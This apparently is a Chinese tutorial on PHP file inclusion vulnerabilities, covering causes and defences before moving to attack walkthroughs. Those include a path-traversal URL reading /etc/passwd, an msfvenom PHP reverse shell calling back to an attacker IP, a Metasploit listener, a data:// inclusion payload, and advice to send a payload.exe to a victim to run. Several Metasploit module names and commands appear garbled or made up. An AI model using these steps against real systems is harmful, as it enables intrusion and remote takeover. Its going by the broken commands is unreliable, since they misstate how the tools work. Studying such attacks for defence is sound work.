什么是文件包含?
文件包含漏洞(File Inclusion Vulnerability)是一种发生在Web应用程序中的安全漏洞,它源自应用程序对用户提供的输入(如请求参数)未经充分验证或过滤就用于动态加载外部文件的过程。这类漏洞允许公鸡者通过精心构造的请求,诱导服务器错误地包含或执行非预期的本地或远程文件,从而可能导致以下严重后果:
- 敏感信息泄露:公鸡者可能包含含有敏感信息的系统文件,如配置文件(可能包含数据库凭据、API密钥等)、日志文件、源代码文件等,从而获取对系统内部细节的了解。
- 远程代码执行:如果应用程序允许包含远程文件(Remote File Inclusion, RFI),公鸡者可能将恶意代码托管在远程服务器上,然后诱使目标应用程序加载并执行该代码。这通常会导致完全的服务器接管。
- 本地文件包含(Local File Inclusion, LFI):即使不允许远程包含,公鸡者也可能利用本地文件包含漏洞访问服务器上的任意本地文件,包括但不限于系统文件、用户上传的文件等,尝试寻找可执行代码的载体或间接导致RCE。
- 拒绝服务公鸡(Denial of Service, DoS):通过包含大量大文件或循环包含文件,公鸡者可能消耗服务器资源,导致服务不可用。
文件包含漏洞的成因主要包括:
- 不安全的文件包含函数使用:程序使用如 PHP 的
include()
,require()
,include_once()
,require_once()
等函数,或类似其他编程语言中的文件包含机制时,未对用户可控的参数进行严格过滤或校验。 - 动态路径处理不当:应用程序动态构建文件包含路径时,直接使用未经验证的用户输入,如查询字符串参数、POST数据等。
- 权限管理不足:服务器配置或应用程序权限设置不合理,使得公鸡者可以通过文件包含漏洞触及原本不应访问的文件。
公鸡手法包括:
- 直接路径注入:公鸡者直接提供恶意文件的完整路径或相对路径。
- 利用文件协议:利用如PHP的
php://input
、php://filter
等协议绕过某些安全限制,甚至利用Zip压缩包内的文件实现包含。 - 目录遍历公鸡:利用“../”等特殊字符尝试穿越目录结构,访问超出预期范围的文件。
防御措施包括:
- 输入验证:对用户提交的所有影响文件包含操作的参数进行严格验证,确保它们只包含预期的、安全的文件路径。
- 白名单策略:仅允许包含已知安全的固定文件或位于指定目录下的文件,禁止包含任何用户可控的路径。
- 转义或去除危险字符:对用户输入进行适当的转义或去除可能用于目录遍历的特殊字符。
- 配置限制:调整服务器和应用程序配置,禁用不必要的文件包含功能,如禁止远程文件包含。
- 最小权限原则:确保运行Web应用程序的账户只有访问执行任务所需文件的最小权限。
- 安全编码实践:开发者应遵循安全编码规范,避免在代码中直接使用不受信任的数据来构建文件包含语句。
综上所述,文件包含漏洞是由于Web应用程序未能妥善处理用户提供的文件路径输入,导致公鸡者能够操控应用程序加载并执行任意文件,从而对系统安全构成严重威胁。有效的防御需要结合严格的输入验证、合理的权限控制、安全配置和编码实践等多方面措施。
引发文件包含漏洞的四个函数:
include()
include_once()
require()
require_once()
文件包含漏洞是由于程序设计不当,使得公鸡者能够控制或影响包含文件的路径,进而可能导致恶意代码执行或敏感信息泄漏。在PHP语言中,有四个主要的函数可能会引发文件包含漏洞:
- include(): 此函数包含并运行指定的文件。如果文件包含的是PHP代码并且该代码被执行,则可能会导致安全问题。
- include_once(): 与include()类似,但只有在文件尚未被包含过的情况下才会包含文件。这可以防止重复包含同一个文件。
- require(): 与include()类似,但若文件无法被包含,require()函数将产生一个致命错误并终止脚本执行。这可能比include()产生更严重的问题,因为应用程序会中断。
- require_once(): 结合了require()和include_once()的特点,只有在文件尚未被包含的情况下才会包含文件,并且如果文件包含出错,将会导致脚本终止。
检测方法
本地文件包含漏洞利用
利用bp抓包修改URL然后看回包
本地文件包含漏洞(Local File Inclusion,LFI)是一种常见的Web应用程序安全漏洞,它允许公鸡者通过修改URL中的参数来访问服务器上的任意文件。下面是一个利用本地文件包含漏洞的示例:
假设有一个Web应用程序存在本地文件包含漏洞,公鸡者可以通过构造恶意的URL来读取服务器上的敏感文件。例如,如果Web应用程序的URL结构如下:
http://example.com/index.php?page=
公鸡者可以构造一个恶意的URL,将page
参数设置为要读取的文件路径:
http://example.com/index.php?page=../../etc/passwd
或是
http://example.com/index.php?page=etc/passwd
在这个例子中,../../etc/passwd
表示上两级目录中的etc
目录下的passwd
文件。当Web应用程序接收到这个URL时,它会尝试包含该文件的内容并将其返回给客户端。由于passwd
文件通常包含系统用户的用户名和密码信息,公鸡者可以通过这种方式获取敏感数据。
使用msf生成poc
在Metasploit框架中,可以使用local_file_inclusion
模块来生成一个本地文件包含(LFI)的漏洞利用代码。下面是一个简单的例子,展示如何使用Metasploit来创建一个LFI的POC(Proof of Concept)。
步骤 1: 启动Metasploit控制台
打开终端并输入以下命令来启动Metasploit控制台:
msfconsole
步骤 2: 导航到模块
在Metasploit控制台中,可以使用use
命令导航到想要使用的模块。在本例中,我们需要使用local_file_inclusion
模块。
use auxiliary/admin/http/local_file_inclusion
步骤 3: 设置参数
接下来,需要设置几个参数以便于生成POC。主要包括RHOST
(目标主机的IP地址),RPORT
(目标主机的端口号),以及TargetURI
(目标应用程序的根路径)。
set RHOSTS [target_IP_address]
set RPORTS [target_port]
set TargetURI / [path_to_application]
步骤 4: 生成POC文件
使用generate
命令来生成POC文件。这个文件将会包含必要的代码来利用目标系统上的LFI漏洞。
generate
步骤 5: 保存并退出
生成的POC文件默认会在控制台中显示。你可以将其复制并保存为.php
文件,或者使用save
命令将其保存到本地文件中。
save poc.php
步骤 6: 使用POC
现在,你已经有了一个名为poc.php
的POC文件。使用这个文件来测试和验证LFI漏洞的存在。请记住,这应该在你有权限访问的系统上进行,或者在具有适当授权的测试环境中进行。
请注意,使用Metasploit框架来生成漏洞利用代码应当谨慎进行,并且只应用于合法的安全测试和研究活动中。未经授权的渗头测试可能会违反法律和道德标准。
msf生成payload
注意一点,这里可能会有一个注释符,虽然在文件包含中不影响,但是还是尽量删掉。
要使用Metasploit Framework(MSF)生成本地文件包含的payload,你需要遵循以下步骤:
- 首先确保你已经安装了Metasploit Framework。如果没有,请访问官方网站下载并安装:https://www.metasploit.com/
- 打开终端或命令提示符,输入
msfconsole
启动Metasploit。 - 在Metasploit中,选择适当的payload。例如,如果你想生成一个PHP本地文件包含的payload,可以使用
php/local_inclusion
模块。输入以下命令来搜索该模块:
search php/local_inclusion
- 找到合适的payload后,使用
use
命令选择它。例如:
use exploit/multi/http/php_local_inclusion_rce
- 设置payload所需的选项。例如,设置目标URL、LHOST(你的IP地址)和LPORT(你希望监听的端口)。例如:
set RHOSTS target.com
set LHOST 192.168.1.100
set LPORT 4444
- 生成payload。输入以下命令:
generate -t exe > payload.exe
这将生成一个名为payload.exe
的文件,其中包含你的payload。
- 将生成的payload发送给目标用户,并等待他们执行它。当目标用户执行payload时,你的Metasploit会收到一个反向连接,然后你可以控制目标系统。
注意:这些示例仅用于教育目的。在未经授权的情况下尝试公鸡他人的系统是非法的。
设置监听
在Metasploit Framework (MSF) 中生成针对本地文件包含(Local File Inclusion, LFI)的Payload,并进行监听,通常涉及到创建一个能够被包含的恶意文件,该文件通常包含能够被服务器解析并执行的代码。由于LFI漏洞本身并不直接允许执行远程代码(不像Remote File Inclusion, RFI),我们通常需要利用LFI漏洞读取服务器上的特定文件(如PHP配置文件等),或者通过技巧性包含一个可以让我们进一步提升权限的本地文件。以下是一个简化的示例流程,假设你已经安装了Metasploit并且有基本的操作知识。
第一步:准备恶意代码
首先,你需要创建一个能够被目标服务器执行的恶意代码。这通常是一个Web shell,比如一个简单的PHP反向shell。但是,因为LFI漏洞,你可能需要通过包含特定字符或编码来绕过服务器的安全检查。这里,我们直接进入生成Payload的步骤,假设我们将通过LFI包含后能够执行该Payload。
第二步:生成Payload
使用msfvenom
生成一个适合LFI场景的Payload。由于直接执行远程代码不太现实,我们考虑生成一个Base64编码的Payload,然后通过LFI包含并解码执行。这里以生成一个Base64编码的PHP反向shell为例:
1msfvenom -p php/reverse_php LHOST=你的公鸡机IP LPORT=监听端口 -e x86/shikata_ga_nai -i 5 -b '\x00' -f raw | base64
-p php/reverse_php
指定生成PHP反向shell的Payload。LHOST
和LPORT
分别是你用来接收连接的公鸡机IP地址和端口。-e x86/shikata_ga_nai
是编码选项,用于绕过某些过滤,这里使用的是Shikata Ga Nai编码器。-i 5
表示编码五轮,增加混淆度。-b '\x00'
指定要避开的坏字符,这里避免空字符。-f raw
表示原始数据输出格式。- 最后,通过管道
|
将输出传递给base64
命令进行编码,便于在LFI漏洞中使用。
第三步:设置监听
在Metasploit框架中设置监听器来接收Payload执行后的连接:
- 打开Metasploit终端。
- 启动一个新的监听:
1use exploit/multi/handler
2set PAYLOAD php/reverse_php
3set LHOST 你的公鸡机IP
4set LPORT 监听端口
5exploit -j
第四步:利用LFI包含Payload
接下来,你需要找到目标应用中的LFI漏洞点,并尝试包含你刚刚生成并编码的Payload。这通常涉及构造一个特定的URL,其中包含Payload的Base64编码字符串,确保它能够被正确解码并由服务器执行。例如,如果漏洞URL是http://target.com/vuln.php?page=
, 则构造URL可能是:
1http://target.com/vuln.php?page=data://text/plain;base64,这里放你的base64编码Payload
请注意,实际利用中可能需要根据目标环境调整包含的方式,如使用不同的数据流协议(如php://input
)或特定的文件包含路径。